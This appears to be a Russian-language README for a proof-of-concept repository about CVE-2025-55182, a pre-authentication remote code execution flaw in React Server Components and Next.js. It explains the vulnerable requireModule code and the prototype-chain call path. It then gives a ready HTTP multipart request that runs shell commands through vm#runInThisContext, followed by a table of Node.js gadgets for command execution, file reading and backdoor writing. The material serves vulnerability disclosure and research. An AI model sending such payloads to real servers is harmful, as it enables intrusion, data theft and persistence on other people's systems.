
Единый инструмент для исследования безопасности
Security Research by schema.cx
"Control is an illusion. It's the systems we build that control us—unless we understand them first."
ДАННЫЙ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ
СТОП. ПРОЧТИТЕ ЭТО ПЕРЕД ПРОДОЛЖЕНИЕМ.
Этот репозиторий содержит код доказательства концепции для критической уязвимости безопасности. Получая доступ, загружая или используя любые материалы из этого репозитория, вы подтверждаете и соглашаетесь со следующим:
Необходимо письменное разрешение: Вы ДОЛЖНЫ иметь явное письменное разрешение от владельца системы перед проведением любого тестирования безопасности. Устные соглашения недостаточны.
Ограничения области действия: Тестирование должно быть ограничено системами, явно указанными в вашем разрешении. «Расширение области» не допускается.
Применимые законы: Несанкционированный доступ к компьютерным системам нарушает:
АВТОРЫ И УЧАСТНИКИ ЭТОГО РЕПОЗИТОРИЯ:
"The question isn't whether we can exploit the vulnerability. It's whether we should, and for what purpose."
CVE-2025-55182 — это критическая уязвимость удаленного выполнения кода (RCE) без предварительной аутентификации, затрагивающая React Server Components в приложениях React 19.x и Next.js 15.x-16.x.
Эта уязвимость позволяет любому неаутентифицированному злоумышленнику с сетевым доступом к уязвимому приложению выполнять произвольные команды на сервере. Атака не требует учетных данных, взаимодействия с пользователем и может быть полностью автоматизирована. Успешная эксплуатация приводит к:
| Метрика | Оценка |
|---|---|
| Базовая оценка CVSS v3.1 | 10.0 CRITICAL |
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Необходимые привилегии | Нет |
| Взаимодействие с пользователем | Нет |
| Влияние (C/I/A) | Высокое / Высокое / Высокое |
"People trust systems because they don't understand them. That trust is a vulnerability."
Уязвимость существует в реализации протокола Flight от React в функции requireModule. Эта функция использует скобочную нотацию для доступа к экспортам модуля на основе входных данных, контролируемых пользователем, без проверки того, является ли запрашиваемое свойство собственным свойством модуля.
Местоположение уязвимого кода:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Функция: requireModule (примерно строки 2546-2558 в v19.0.0)
Уязвимый шаблон:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... async handling ...
return moduleExports[metadata[2]]; // ← УЯЗВИМО: Отсутствует проверка hasOwnProperty
}
Атака использует обход цепочки прототипов JavaScript:
$ACTION_0:0 содержит JSON с контролируемыми злоумышленником свойствами id (формат модуль#экспорт) и bound (аргументы)constructor, или обращаясь к свойствам прототипа, злоумышленники могут ссылаться на встроенные модули Node.jsvm.runInThisContext, child_process.execSync или fs.readFileSync, выполняются с аргументами, предоставленными злоумышленникомHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Разбирает формат "module#export"
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Доступ к цепочке прототипов → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
| Гаджет | Модуль | Описание | Воздействие |
|---|---|---|---|
vm#runInThisContext | vm | Выполнить JS в текущем контексте | Прямое RCE |
vm#runInNewContext | vm | Выполнить JS в песочнице (возможен выход) | Прямое RCE |
child_process#execSync | child_process | Выполнить команды оболочки | Прямое RCE |
child_process#spawnSync | child_process | Запустить процессы | Прямое RCE |
fs#readFileSync | fs | Чтение произвольных файлов | Эксфильтрация данных |
fs#writeFileSync | fs | Запись произвольных файлов | Сохранение/Бэкдор |
module#_load | module | Загрузка JS-модулей (двухшаговое RCE) | Непрямое RCE |